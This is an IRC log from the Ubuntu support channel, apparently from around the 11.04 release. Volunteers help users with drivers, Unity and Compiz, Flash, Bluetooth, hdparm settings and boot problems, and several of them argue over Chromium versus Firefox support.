[20:39] <ohsix> rgr: it is no claim, it's for exceptions and you should never want for or have to change it, if you do, it's a bug
[20:39] <ActionParsnip> ohsix: chromium is in the repo so is equally supported as firefox...
[20:39] <Josesordo> ikonia, well in this ubuntu 11.04 not.. it run in gedit.. lol
[20:39] <rgr> running chromium on ubuntu is on topic.
[20:39] <illmortal> hmm... this new update threw my compiz/emerald off too
[20:39] <Josesordo> ikonia, I mean.. when I double click it ..
[20:40] <ikonia> ohsix: let it go please
[20:40] <logi01> lapion: what is "single user mode"? My system shortly freeze after login
[20:40] <rgr> staing its not as supported as firefox is simply wrong.
[20:40] <LjL> !ot | rgr, ohsix, please, the merits of Chromium are outside of the scope here
[20:40] <ubottu> rgr, ohsix, please, the merits of Chromium are outside of the scope here: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[20:40] <ikonia> Josesordo: run it from a terminal
[20:40] <ActionParsnip> LjL: either wayif users can be more autonomous, it helps a lot
[20:40] <ohsix> ActionParsnip: don't go off on the weeds, i meant something specific when i said supported, you took it to mean as it just being in the repos
[20:40] <ikonia> guys - enough now, please.
[20:40] <Josesordo> ikonia, ok that Im trying to do..but forgot the command.. I have the terminal open right now..
[20:40] <ikonia> Josesordo: ./filename.run
[20:40] <Antilect> gmachine_24 no seriously
[20:40] <Antilect> I don't have any fans :D
[20:40] <rgr> LjL: the subject si about installing chromium on Ubuntu. Please try and read the thread with all due respect. I am correcting his staement that chromium is not supported properly. It is not true.
[20:40] <ohsix> rgr: that isn't what i said, i'm sorry we have different definitions of supported
[20:40] <lapion> logi01, safe mode in the grub menu
[20:41] <ikonia> Josesordo: what are you trying to install ?
[20:41] <rgr> brb
[20:41] <stravant> ohsix: Yea, it's definitely that bug, plugging my headphones into the back panel (Thank god they have an unusually long lead), makes it work fine. I'll post my case to it
[20:41] <Antilect> The kind I want, but the other kind, I have in abundance D:
[20:41] <ActionParsnip> ohsix: thats exactly what supported here means, it is in the official ubuntu repos, so again, why is firefox recommended and chromium not (as you say)?
[20:41] <lapion> logi01, at boot depress both the shift and the alt keys so that you get the grub menu..
[20:41] <Josesordo> ikonia, this --> ati-driver-installer-11-4-x86.x86_64.run
[20:41] <ohsix> stravant: there's apparently a mixer control available to alsa to toggle the mute logic off; and make the outputs act independently too
[20:41] <LjL> Chromium is in Universe, Firefox is in Main, for the record. Firefox is more supported than Chrome.
[20:41] <LjL> *ium.
[20:41] <ikonia> Josesordo: why are you trying to install ati drivers ? there are supported ones in the "hardware drivers" tool
[20:41] <reprapperMC> Is there a specific channel for wireless issues with Ubuntu?
[20:41] <mick_home> hi everyone, I have a really weird issue where google searches seem to be intercepted
[20:41] <illmortal> Anyone know if the new update has thrown compiz into a whacky mode?
[20:41] <ohsix> ActionParsnip: that's not what it means, but i think LjL just settled it enough for my purposes
[20:41] <LjL> reprapperMC: no
[20:41] <ActionParsnip> LjL: they are equally supported dude
[20:41] <ohsix> LjL: thanks
[20:42] <LjL> ActionParsnip: no
[20:42] <ikonia> reprapperMC: here is fine
[20:42] <mick_home> like as if my dns was cache poisoned
[20:42] <econdudeawesome> Howdy! 11.04 is giving me some issues with flash
[20:42] <LjL> ActionParsnip: stuff in Main is supported by Canonical, stuff in Universe is supported by the community.
[20:42] <econdudeawesome> is anyone else havingt his problem?
[20:42] <mongy> isnt chromium updated as chromium devs update it....
[20:42] <gmachine_24> stop bickering about chromium vs firefox or GET A ROOM
[20:42] <phibxr> when I make a custom launcher entry in alacarte and give it an icon, why does it show up as a ?-mark in the launcher while the icon is visible in the dash?
[20:42] <johndoe_> anyone problems with moving windows since 11.04 upgrade?
[20:42] <ActionParsnip> LjL: yes, and WE are the community, so we support both
[20:42] <Josesordo> ikonia, in ubuntu 10.04 .. I believe was better install the propietary drivers.. dont know, what do you think?
[20:42] <mick_home> qbert_: is flo.bellsouth short for floriida?
[20:42] <lapion> I am unable to activate bluetooth on 2 laptops..
[20:42] <siva> helo how to shift close,minimise button of a pgm window to right side?
[20:42] <siva> on ub11.04
[20:43] <ohsix> ActionParsnip: you don't set Recommends on ubuntu-desktop and upload the package though ...
[20:43] <LjL> ActionParsnip: they're nevertheless not "equally supported", sorry. but we can continue this on #ubuntu-offtopic
[20:43] <Blue1> Josesordo: yeah the old legacy mode drivers were in 10.04 - removed in 10.10
[20:43] <ActionParsnip> econdudeawesome: can you give the output of:   uname -a; lsb_release -a; dpkg -l | grep flash; dpkg -l | grep gnash; dpkg -l | grep swf
[20:43] <Josesordo> ikonia, or in this install driver tool it will be install the same driver?
[20:43] <argon> actionParsnip : howto switch back to compiz, i can't research now because unity is gone
[20:43] <reprapperMC> ok,...I'm using 11.04 with a TP-link TL-WN727n. I've got it connected and can load web pages. However, the connection is very slow.
[20:43] <lapion> at least on one of the two laptops it took several attempts before bluetooth could be activated
[20:43] <ikonia> Josesordo: it will install the ubuntu recommended/supported ones
[20:43] <ActionParsnip> argon: press ALT+F2 and run:  compiz --replace
[20:43] <Josesordo> ikonia, ahh ok.. lets see then.. Thanks a lot!!
[20:43] <arnab> ls -ltr
[20:44] <argon> actionParsnip : alt + f2 -> nothing happens
[20:44] <Goliath> hey i have the last ubuntu. what is the command to install kde?
[20:44] <neothecat> hello.  i just updated to 11.04, and now when i boot, i get "VFS: Cannot open root device "sda2" or unknown-block(0,0)", then Kernel panic - not syncing.  this is the same partition my 10.04 was on, and the grub config looks correct...
[20:44] <econdudeawesome> http://pastebin.com/CVqrFHH1
[20:44] <ActionParsnip> argon: then run it from a terminal
[20:44] <econdudeawesome> ActionParsnip: http://pastebin.com/CVqrFHH1
[20:44] <ActionParsnip> ohsix: so if a user asks for support for chromium-browser package then it will get the same level of support as firefox gets
[20:44] <rodger_nc> just installed 11.04 and am unable to run unity also I get a message "over drive" on boot but then it seems to reset and Ubutu loads. Any ideas how to fix?  Sceptre LCD 60Hz not certain what the graphics card is...
[20:44] <Edd> hello, i upgraded from maverick to natty , everything was done gr8, after reboot i couldnt boot in, i got a shell window login
[20:44] <oldos2er> Goliath: sudo apt-get install kubuntu-desktop
[20:44] <LjL> ActionParsnip: yes, that's correct as far as this channel goes
[20:44] <Josesordo> ikonia, ahh another question.. I tried to run the google chrome installer (a .deb file) and dont open like old distro now.. why?
[20:45] <ohsix> ActionParsnip: that doesn't mean it's in main, and it doesn't mean it's "highly recommended" by anyone but rgr, #ubuntu-offtopic
[20:45] <ActionParsnip> LjL: thats sad
[20:45] <Blue1> rodger_nc: lspci | grep VGA
[20:45] <illmortal> i'm gonna take a screen shot of what's going on with my desktop.. It's like deteriorating
[20:45] <norixy> Hi there.
[20:45] <ikonia> Josesordo: depends if it's for that version, however you should look in the repos for packages rather than installing external pacakges
[20:45] <norixy> hello pablo_ :)
[20:45] <ActionParsnip> ljl: that's alomost like forcing users to use firefox as they are using a 'lesser' browser
[20:45] <gmachine_24> norixy please ask a question
[20:45] <norixy> heyho crazyrohila :)
[20:46] <norixy> hello mehz ;)
[20:46] <malv> does anyone know why when I middle click in firefox4 2-3 tabs come up?
[20:46] <norixy> heyho malv
[20:46] <ActionParsnip> econdudeawesome: sudo apt-get --purge remove flashplugin-installer     does it remove it?
[20:46] <ohsix> ActionParsnip: you really just need to ask yourself, are you supporting ubuntu or all the things people can run on ubuntu; if the latter you have an unbounded set, much like backtrack isn't a supported variant, people would rather know the former well and tell people how to use what is supported, to keep the possibilities small
[20:46] <arnab> how can i get text only interface in ubuntu?
[20:46] <LjL> ActionParsnip: what? i said this channel DOES provide the same support for Chromium as for Firefox
[20:46] <gmachine_24> norixy: enough with the hellos
[20:46] <malv> hi
[20:46] <norixy> heyho cadmium :)
[20:46] <gmachine_24> good grief
[20:46] <norixy> hey Castor__
[20:46] <LjL> ohsix: Universe is a bounded set
[20:46] <Edd> any1 ?
[20:46] <ohsix> LjL: i meant things outside of universe, not this particular discussion in general; the overarching one
[20:46] <ActionParsnip> ohsix: I support the ALL package which are in the official repos, simple. I don't rank them because one is in a different repo, thats just pathetic
[20:46] <rodger_nc> Blue1:  nVidia Corporation C61 [GeForce 6150SE nForce 430] (rev a2)
[20:46] <Edd> i upgraded from maverick to natty , everything was done gr8, after reboot i couldnt boot in, i got a shell window login
[20:46] <lapion> since upgrade to natty It's difficult to activate bluetooth on 2 laptops..
[20:46] <LjL> ohsix: ok
[20:47] <Somelauw> Hi, how on earth do I kill the graphical version of bsh?
[20:47] <Edd> and i got the same error after a fresh installation for 11.04
[20:47] <ohsix> LjL: certainly people can also draw the line at main / universe ... but i don't; just minimal support for doing stupid things :]
[20:47] <arnab> that's exactly what i want
[20:47] <arnab> how can i get a shell window login in ubuntu?
[20:47] <Somelauw> Its name doesn't show up in top.
[20:47] <arnab> i have natty but i still get                                                                                                gui
[20:47] <oldos2er> Edd: have you tried 'startx' ?
[20:47] <ActionParsnip> LjL:so both are equally supported
[20:47] <Edd> i dont get gui
[20:47] <Somelauw> arnab: ctrl + alt + F1 shows tty.
[20:47] <Josesordo> ikonia, ahh ok..anyways I installed the chromium.. seems similar =)
[20:47] <Edd> oldos2er yes i did
[20:47] <Blue1> rodger_nc: that card is well supported in previous versions (it's what I have here) i am runint 10.10 with no issues, but I have read of severe nividia problems with 11.04 -- as always ymmv applies.
[20:47] <Edd> it says i should install xinist pkg
[20:48] <Somelauw> and ctrl + alt + f7 to get back
[20:48] <lapion> arnab, tried ctrl-alt-f1
[20:48] <oldos2er> Edd: what happens? What video card do you have?
[20:48] <Edd> intel oldos2er
[20:48] <illmortal> Can someone tell me why I have the white upper border on my desktop.. going across both my screens as well as that start menu panel on the right side?... I'd like to remove the panel on the left screen. then just slide the right panel to the left screen: http://tinypic.com/r/rkc1ef/7
[20:48] <ohsix> ActionParsnip: i was talking about things like teamviewer, which are recommended to be used a lot; but aren't in the repos, i won't help them do it
[20:48] <ahmed_> hello
[20:49] <arnab> thanks it worked - ctrl+alt+f7 also brought me back :)
[20:49] <ActionParsnip> ohsix: the main part there is "but aren't in the repos". I only support apps in the official repos here, both chromium and firefox are in the official repos, so they both getequal support
[20:49] <econdudeawesome> ActionParsnip: it failed on me
[20:49] <oldos2er> Edd: try dpkg-reconfigure xserver-xorg-video-intel
[20:49] <gmachine_24> illmortal: the pics on tinypic look fine to me
[20:49] <ohsix> ActionParsnip: as LjL said the distinction between main / universe may not matter here; but i was speaking of "support" with the package, and that does involve where it is in the repos
[20:49] <ActionParsnip> econdudeawesome: can you pastebin the result please
[20:49] <rodger_nc> Blue1: yep - it worked without a hitch in 10.x but then Unity wasn't the default GUI ...
[20:49] <rich> #ubuntustudio
[20:49] <Somelauw> Can someone please give me advice how to kill xbsh?
[20:49] <hw> hey everyone, I am stumped on an issue... google isnt my friend today
[20:50] <Edd> oldos2er i will and get back to u if it works
[20:50] <astro73|derrial> just upgraded my ubuntu, and it seems that my GeForce GT 430 isn't be used by X at all, just using the on-board intel. Enabling the nvidia driver broke  3d acceleration on the intel.
[20:50] <illmortal> huh? how gmachine_24 my start menu is missing images if that makes any sense
[20:50] <oldos2er> Edd: you'll need to use sudo
[20:50] <Josesordo> How to change the background in login screen in Ubuntu 11.04?... Please
[20:50] <ActionParsnip> ohsix: the community supports the universe repos, as LjL said, we ARE the community and so we support both equally
[20:50] <ohsix> ActionParsnip: i "support" both, but that was never the sense of the word that i was using, we should take this to message if you have anything further
[20:50] <illmortal> start menu buttons*
[20:50] <econdudeawesome> ActionParsnip: http://pastebin.com/jdsX7BZ5
[20:50] <Edd> yea sure i will
[20:50] <Somelauw> I already tried killal xbsh
[20:50] <Edd> brb
[20:50] <hw> when I log into this ubuntu 10.04.2 lts box it says I have a bunch of updates.... but when I run apt-get update or upgrade, it says zero upgraded...
[20:50] <gmachine_24> illmortal: sorry, when I made the images bigger and looked at the 'raw' image I see what you mean. And I don't have an answer.
[20:50] <MrMist1> ohsix: man hdparm doesn't say anything about apm. Do you mean that hdparm.conf demands other set values of the disks APM-parameter than the hdparm -y/hdparm -S commands?
[20:50] <hw> anyone have any ideas?
[20:51] <illmortal> boo..
[20:51] <rgr> ActionParsnip: agreed. + until FF4 Chromium browser was far suprioer in terms of css compliance, speed and keyboard navigation. I recommend it over FF as a general rule.
[20:51] <iceroot> hw: does it say "hold"? you have to use dist-upgrade to get all updates
[20:51] <illmortal> and i thought right clicking on the desktop.. gave you the option to, "refresh" your desktop?
[20:51] <LinuxHack3r> How can I add a "custom" resolution to xorg.conf? I need 1280x1024
[20:51] <Omega> hw: did you try sudo apt-get update and then upgrade?
[20:51] <tasslehoff> anyone running ubuntu on a macbook pro that can tell me how they choose 3d level on the keyboard?
[20:51] <hw> yea, I am in as root
[20:51] <Goliath> hey how can i make windows appear as a choice in grub boot menu?
[20:51] <ohsix> MrMist1: press /-B and hit enter in the manual viewer; it will take you right to it
[20:52] <ActionParsnip> rgr: i support both, I mainly uses arora these days personally as I have branched out and researched into other browsers :)
[20:52] <iceroot> LinuxHack3r: first try if it is working, "xrandr -s 1280x1024"
[20:52] <ohsix> rgr: in your opinion, be clear
[20:52] <LjL> ActionParsnip, rgr, ohsix: would you join -ops for a minute, i'd like to talk about this without bothering the people here any further
[20:52] <rgr> Goliath: "run sudo update-grub" and hope for the best
[20:52] <Omega> rgr: Don't spread untruths. Chromium wasn't and isn't more accessible.
[20:52] <iceroot> LinuxHack3r: xrandr -q  is showing you what your card/monitor supports
[20:52] <welaunchit> How on earth do I close a bug report on launchpad? I can see where I can choose between the various statuses, but not how to close it altogether.
[20:52] <eamon> whats 3d level?
[20:52] <rgr> Omega: sorry? I never said it was.
[20:52] <Goliath> rgr: dont i need to edit some config?
[20:52] <illmortal> Omega... it seems to handle Flash better than Firefox.
[20:52] <rgr> Goliath: probably not.
[20:52] <ActionParsnip> econdudeawesome: what is the output of: fuser -v /var/cache/debconf/config.dat
[20:52] <Omega> rgr: "keyboard navigation"
[20:52] <rgr> I recently dit and got win 7 back just fine.
[20:53] <illmortal> but it doesn't support html short cuts like CTRL+B = Bold code :(
[20:53] <erkan^> When I open URL (http) for her, than i see the startpagina for firefox, how can that?
[20:53] <LinuxHack3r> iceroot: But the thing is...I am using a vga monitor to my dvi card using an adapter...and it doesn't detect the "default" of 1280x1024...
[20:53] <rgr> Omega: keyboard navigation <> acessibility.
[20:53] <pabloice> c'è qualcuno??
[20:53] <pabloice> mi potete aiutare
[20:53] <LjL> !it | pabloice
[20:53] <ubottu> pabloice: Vai su #ubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie! (per entrare, scrivi « /join #ubuntu-it » senza virgolette)
[20:53] <Omega> rgr: What I'm trying to say is, it's not more keyboard friendly.
[20:53] <root_> help me !!my unity not working after i messed with ldxm/gdm and lightdm
[20:53] <econdudeawesome> ActionParsnip: nothing. No output
[20:54] <Omega> root_: What did you do?
[20:54] <ActionParsnip> econdudeawesome: https://bugs.launchpad.net/ubuntu/+source/debconf/+bug/349469   has a fix, I've not used it. I suggest youo MOVE the files instead of deleting
[20:54] <ubottu> Ubuntu bug 349469 in debconf (Ubuntu) "debconf: DbDriver "config": /var/cache/debconf/config.dat is locked by another process: Resource temporarily unavailable" [Medium,Triaged]
[20:54] <LinuxHack3r> iceroot: I need to know what line to add to xorg.conf for that resolution, I've done it before but I cannot remember exactly what it is...
[20:54] <root_> have to type gksu unity for dispalying panal auncer
[20:54] <Goliath> rgr: strange thing i did that and when i choose windows on boot i get a black screen
[20:54] <Goliath> any idea?
[20:54] <rgr> Omega: not my finding but if you dont think so you're entitled to that. I dont wish to talk about chromium vd firefox. My only real comment was to correct that claim that FF is better supported for Ubuntu.
[20:55] <econdudeawesome> ActionParsnip: What does this mean?
[20:55] <MattC> I am having an issue regarding installing ubuntu...
[20:55] <Omega> rgr: This wasn't about firefox vs. chromium. My only real comment was to correct that claim that chromium is more keyboard friendly and more CSS compliant.
[20:55] <ActionParsnip> econdudeawesome: read the bug, instead of deleting as the text says, move the files. This gives a rollback path
[20:55] <MattC> I downloaded the CD from the website,
[20:55] <lapion> if you are having problems enabling bluetooth, just use the init script..
[20:55] <MattC> and used it to install.
[20:56] <Omega> rgr: I think we should leave it at that, we're getting in the way of helping users :)
[20:56] <sam-_-> Omega: how is this related to ubuntu?
[20:56] <logi01> lapion: my sound works with the new kernel in safe mode. But when i login with any other mode it freeze :/
[20:56] <lapion> sudo /etc/init.d/bluetooth restart
[20:56] <MattC> once the installation was done
[20:56] <Omega> sam-_-: See my previous comment.
[20:56] <gmachine_24> MattC: Please tell us what the problem is and which version of Ubuntu, etc.
[20:56] <mongy> remind me never to tick "install 3rd party software" during install while still in the first few days of release.. 2 hours later, thanks to people hammering the servers :(
[20:56] <lapion> I have to go afk sorry logi01
[20:56] <econdudeawesome> ActionParsnip: Where do I go to read the fix? I apologize for pestering, I've just never worked a fix/workaound in this way
[20:56] <Blue1> lapion: sudo service bluetooth restart is a tad easier
[20:56] <vantage> rgr: Is there a bug for the display freezing on the daru2 anywhere?  Is it display driver specific?
[20:56] <Omega> sam-_-: not misinforming users is a big part of being professional, no?
[20:56] <MattC> it asked me to remove the CD so it could re-boot.
[20:56] <logi01> lapion: ok thx
[20:57] <iceroot> LinuxHack3r: http://pastebin.com/RrQbiayr
[20:57] <mza> hi all. Ubuntu 10.04 an unity is realy great
[20:57] <MattC> so after I did, and it rebooted, it just sat there.
[20:57] <lapion> bluethanks Blue1
[20:57] <Blue1> mza: huh?
[20:57] <sam-_-> mza: 10.04 or 11.04?
[20:57] <MrMist1> ohsix: Well... interesting thing this. I'm trying to set the APM value by using hdparm.conf, but the hdparm -I command still returns 254
[20:57] <mza> sam :)
[20:57] <gmachine_24> MattC: which version of Ubuntu?
[20:57] <mza> i was wrong
[20:57] <MattC> after going thru the POST screen
[20:57] <mza> 11.04 :P
[20:57] <Mjiig> 'lo everyone, anyone know how i can reorder items in the unity side bar. nothing i try does anything...
[20:58] <gmachine_24> MattC: You might try turning the computer off completely and restarting it.
[20:58] <ActionParsnip> econdudeawesome: in the link I gave, read it
[20:58] <ohsix> MrMist1: seagate drives can be pretty weird
[20:58] <gmachine_24> I know it sounds silly, .... but sometimes that does it
[20:58] <MattC> @gmachine_24: 11.04
[20:58] <mza> anyway, anybody knows if unity is "free" enough and maybe will be aviable for other distros ?
[20:58] <MrMist1> ohsix: It worked on 10.04
[20:58] <Blue1> mza: no
[20:58] <ohsix> MrMist1: you need to set your options with hdparm initially, if you want to check immediately if they take effect
[20:58] <gmachine_24> MattC: do you have any other installs on your hard drive?
[20:59] <hihihi100> all my workspaces appear as "workspace 1", shouldnt they be numbered?
[20:59] <MattC> no
[20:59] <squidly> does anyone know a softphone that that works with broadvoice?
[20:59] <illmortal> anyone know how I can remove my upper panels? It's flaking out on me.
[20:59] <ohsix> MrMist1: to test my hdparm.conf changes i just unplugged and replugged in my power cord on my laptop, that isn't practical for everyone and you can still run the power script manually to apply them immediately
[20:59] <gmachine_24> MattC: did you shut the computer off and restart it?
[20:59] <MattC> many times,
[20:59] <gmachine_24> MattC: ok
[20:59] <ohsix> MrMist1: but best practice, set manually with hdparm, then migrate your settings to be applied to hdparm.conf; and to note that hdparm.conf has settings for when it's on battery and when it isn't
[21:00] <hihihi100> am I the only one that can use internet with tor on after the upgrade?
[21:00] <j0nr> ohsix: ok, so i did apt-get install <that backports package> and rebooted... should I be doing anything else?
[21:00] <econdudeawesome> Sorry ActionParsnip had to relogin
[21:00] <hihihi100> am I the only one that can use internet ONLY with tor on after the upgrade?
[21:00] <iceroot> mza: unity is published with lgpl
[21:00] <gmachine_24> MattC: I don't know what to tell you. Did you check hardware compatibility? Were you running an earlier version of Ubuntu before 11.04? If so, which one?
[21:01] <dustin_> If I upgrade to Ubuntu 11.04 will it remove my custom desktop(gnome panels with plasma work area) and switch it to unity?
[21:01] <MrMist1> ohsix: Hey.. I'm not doing anything more than "hdparm -S 32". And voila, it works. Then I set hdparm.conf to /dev/sdd { spindown_time = 32 }, and it's not working
[21:01] <mza> well, i start to like unity alot. is there any flamewar out ther about unity and gnome3?
[21:01] <MrMist1> I haven't done ANYTHING else with HDparm
[21:01] <sakuramboo> ive installed a few games, but they do not show up in the games menu in unity, is there a way to manually add them?
[21:01] <iceroot> dustin_: not remove, just not used by default
[21:01] <ActionParsnip> econdudeawesome: no worries
[21:01] <mza> google is my friend
[21:01] <iceroot> mza: #ubuntu-offtopic, #gnome
[21:01] <iceroot> mza: and yes there is but this is not the right place for that
[21:02] <econdudeawesome> ActionParsnip: So what is the next step then? The bug you showed me seems to show that my config/dat file was locked before upgrade? Am I understanding this right?
[21:02] <gmachine_24> uhmm.... what is flameware?
[21:02] <mza> yes you are right iceroot.
[21:02] <mjn> squidly, freeswitch?
[21:02] <ActionParsnip> econdudeawesome: the bug fix apparently is the move the files out of the folder and run a command, its on the bug
[21:02] <gmachine_24> ok nm
[21:02] <ohsix> MrMist1: i dont' know what to say, i'm using 11.04 and it works here, let me triple check right now
[21:03] <squidly> mjn: is that a package?
[21:03] <econdudeawesome> ActionParsnip: files out of the debconf folder? Will they respawn?
[21:03] <ohsix> MrMist1: they are being applied here
[21:03] <MrMist1> ohsix: How can you see? By hdparm -I ?
[21:03] <ActionParsnip> econdudeawesome: assumedly so, I advise you move them so you can move them back if you get issue
[21:04] <enav> do you guys know an alternative to NO-IP client for Ubuntu desktop ?   because NO-IP is hard to install
[21:04] <ohsix> my apm level switches between 254 & 128 on ac and off, like i set, and my AAM level is statically set to 128, as i also desire and put in hdparm.conf
[21:04] <ohsix> MrMist1: yep, hdparm -I
[21:04] <econdudeawesome> k
[21:04] <ActionParsnip> enav: noip2
[21:04] <Guest99294> ro
[21:04] <enav> ActionParsnip: hi bro long time no see you
[21:04] <Guest99294> ?
[21:04] <MrMist1> ohsix: Hmm... strange
[21:04] <ActionParsnip> enav: howdy
[21:04] <enav> ActionParsnip: dude you are always here... i see u really love this cahnnel!!!
[21:04] <astro73> what's the best place to get support for nvidia cards?
[21:04] <eamon> hello
[21:05] <eamon> astra05: nvidia forums
[21:05] <ActionParsnip> enav: its fun
[21:05] <rgr> if you find noip hard then I suspect using it wont be that much of a benefit since its not foolproof and can have substantial performance impacts.
[21:05] <econdudeawesome> ActionParsnip: after I take the files out, what do I do?
[21:05] <ProfessorBacon> i can't get used to unity
[21:05] <enav> ActionParsnip: hahah   well i will cehck the noip2 thingy
[21:05] <div-0> hi
[21:05] <MrMist1> ohsix: Is there any way to detect that the script is actually being run during boot?
[21:05] <ProfessorBacon> i feel lost when i'm trying to figure out what applications i have open
[21:05] <eamon> hi div-0
[21:05] <rgr> you can still use htop ;)
[21:06] <ohsix> MrMist1: well it's run during power events, which as far as i know is at least once during boot
[21:06] <gmachine_24> astro73: I might have missed your earlier posts, but you checked for software versions for Nvidia?
[21:06] <div-0> i have a problem with the installation of ubuntu on my laptop. (described here: http://ubuntuforums.org/showthread.php?t=1742929&highlight=1520 )
[21:06] <econdudeawesome> ActionParsnip: ah, found it
[21:06] <eamon> MrMist1: you could put "echo "IT'S WORKING!!!!!!!!!"" in the script
[21:06] <avinash> schnuffle, thanks man .. adding nameserver <router ip> helped .. thanks very much ..
[21:06] <div-0> now i tried to follow "dinos" instructions, but i cant find a xorg.conf file in my /etc directory, any ideas?
[21:06] <rgr> div-0: does grub not already have a failsafe entry for you?
[21:06] <econdudeawesome> ActionParsnip: same error when I run sudo apt-get install -f
[21:06] <gmachine_24> astro73: under administration>additional drivers?
[21:06] <eamon> div-0 try /etc/X11/xorg.conf
[21:07] <rgr> div-0: its not in /etc thats why
[21:07] <theclaw> there seems to be something wrong with my gnome setup. when I log in, "gnome-settings-manager" is there twice, and I get the error in .xsession-errors "You can only run one xsettings manager at a time; exiting" - any idea?
[21:07] <rgr> /etc/X11
[21:07] <theclaw> with a new user, everything works
[21:07] <div-0> eamon: yes i looked there
[21:07] <rgr> look up sgfxi too
[21:07] <div-0> there is no xorg.conf
[21:07] <eamon> div-0: make one
[21:07] <black_> quit
[21:07] <ActionParsnip> econdudeawesome: ok have the files been recreated?
[21:07] <rgr> yes, its a half arsed move to not needing one. many people do.
[21:07] <div-0> eamon: how? just a blank file?
[21:07] <eamon> yes
[21:07] <eamon> normal text file
[21:08] <rgr> sudo touch /etc/X11/xorg.conf but that wont help one iota.
[21:08] <MrMist1> ohsix: I'm running a "ubuntu-server" machine... don't know it that matters. I've also got the disks mounted via fstab... but I still want them to spin down
[21:08] <anonymity> anyone available to answer some questions about networking and Ubuntu?
[21:08] <econdudeawesome> ActionParsnip: some of them. Not all of them. And I can no longer sudo...
[21:08] <rgr> anonymity: just ask
[21:08] <eamon> !ask ¦ anonymity
[21:08] <econdudeawesome> rather, sudo nautlius
[21:08] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[21:08] <rgr> oh god...
[21:09] <ohsix> MrMist1: oh, i dont think it does, but acpi power events might not run on the server version, i do not know
[21:09] <eamon> !details ¦ anonymity
[21:09] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[21:09] <kjxl9> hey
[21:09] <ActionParsnip> econdudeawesome: then you may need to boot to root recovery mode and copy back if you have not an interactive sudo going
[21:09] <eamon> !details
[21:09] <ubottu> Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[21:09] <eamon> !ask
[21:09] <ubottu> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[21:09] <rgr> MrMist1: why do you want to spin your disks down out of curiosity?
[21:10] <div-0> rgr, eamon: ok thx, not sure that an empty file does much
[21:10] <div-0> :)
[21:10] <rgr> div-0: it doesnt. it was a silyl thing to recommend.
[21:10] <ohsix> rgr: do not suggest people use sgfxi, _someone_ has to clean up the mess afterwards, if that someone is you, tell them in private, but not here
[21:10] <rgr> what card?
[21:10] <kjxl9> is there a package that has drivers that deal with ps3 controllers?
[21:10] <arrrghhh> rgr, and now it's "fast" again.  2.2MB/s... I don't get it, nothing changed other than the client reboot.
[21:10] <eamon> div-0: you'll want to add whatever that guide is telling you to add to that file
[21:10] <div-0> rgr: nvidia GT8600M GT
[21:10] <rgr> arrrghhh: best not to question nfs ;)
[21:11] <helo_> anyone else think that unity is awesome?
[21:11] <rgr> div-0: did you run nvidia-settings?
[21:11] <arrrghhh> rgr, samba has problems too it seems... usually NFS is better.
[21:11] <rgr> pr sgfxi?
[21:11] <_Mr_Proper_> Bah, Bombono just gave me corrupted data.. Can anyone recommend a decent dvd burner for ubuntu?
[21:11] <arrrghhh> !ot | helo_, this room is for support not for chat.
[21:11] <ubottu> helo_, this room is for support not for chat.: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[21:11] <_Mr_Proper_> (Don't want all the KDE stuff thats prereq for k3b)
[21:11] <helo_> ehh
[21:11] <div-0> rgr: i cant run that, i cant read a thing on that installation. im currently online with a lubuntu 10.10 livecd so that i can go online, and mount the wubi root.disk image
[21:11] <eamon> rgr: why is it silly to recommend to make an xorg.conf file?
[21:12] <helo_> it sure was the place to complain about unity yesterday, but ok :)
[21:12] <ayrton> i updated my ubuntu to 11.04 but i think i got the netbook version,
[21:12] <rgr> arrrghhh: dont join the net nannying spammers please ...
[21:12] <kjxl9> is there a package that has drivers that deal with ps3 controllers?
[21:12] <ayrton> how do i change it to desktop
[21:12] <gmachine_24> _Mr_Proper_: I pretty much use anything and it works.
[21:12] <eamon> kjxl9: the drivers are in the kernel
[21:12] <arrrghhh> rgr, he was asking something that was highly opinionated...
[21:12] <rgr> kjxl9: http://www.ehow.com/how_7729420_use-ps3-controller-ubuntu.html
[21:12] <_Mr_Proper_> Got a warning about corrupt data this time, and it wont open on any machines.. Perhaps I should reduce the burn speed manually
[21:12] <arrrghhh> pretty sure i'm not a 'net nannying spammer', thanks.
[21:12] <rgr> very hard to find..
[21:13] <LjL> rgr: offtopic is offtopic, please don't discourage people from telling others where the appropriate place to discuss something is.
[21:13] <Galvatron> ayrton: First of all, chceck if there are some options like "Classic" or "GNOME" in the session menu of login screen.
[21:13] <gmachine_24> _Mr_Proper_: I use CLI for burning CDs and DVDs and making iso files, etc. seems to be the easiest, fastest and most reliable
[21:13] <eamon> rgr: why do you say that making an xorg.conf file is silly?
[21:13] <rgr> arrrghhh: well, you just came back to say nfs was working. He just came back to say unity was working. I fail to see why you "botted" him. IMO theres too much of that in response to perfectly good and on topic answers.
[21:14] <rgr> anywy glad its working. brb-
[21:14] <gmachine_24> _Mr_Proper_: you got a corrupt data error when?
[21:14] <arrrghhh> i'm kinda mad a reboot was the fix, but whatever.  i guess i don't need to troubleshoot it any further...
[21:14] <pumeust> gnu ddrescue manual says 'never try to rescue a r/w mounted partition'. how do i know if a partition is r/w so i can avoid this?
[21:14] <kjxl9> eamon, so i dont have to download any packages?
[21:14] <MrMist1> ohsix: rgr: Simple, really. I've got three drives. One for the OS.  The second drive contains home folders (samba shared). They're being used maybe once or twice a day. To have the disk spinning all the time is a waste of energy, and it's noisy. The third drive is the backup drive. I'm going to script it to copy drive 2 once every night. It's never being used for anything else. Hence, two of the drives should be spun down.
[21:14] <Galvatron> _Mr_Proper_: I' also read that the default Ubuntu burning backend - "wodim" - is kinda problematic, and oerally not too good, and so it's better to install "cdrtools" from a PPA.
[21:15] <guntbert> pumeust: type mount and look at the output
[21:15] <helo_> i can't get my bcm4306 v 3 to work with ndiswrapper... it worked in 10.10, but now ndiswrapper -l says "alternate driver ssb" even though ssb is blacklisted, removed from initramfs, and not even loaded
[21:15] <_Mr_Proper_> gmachine_24, Galvatron, thanks
[21:15] <_Mr_Proper_> gmachine_24, Bombono popped it up after the burn was meant to be complete
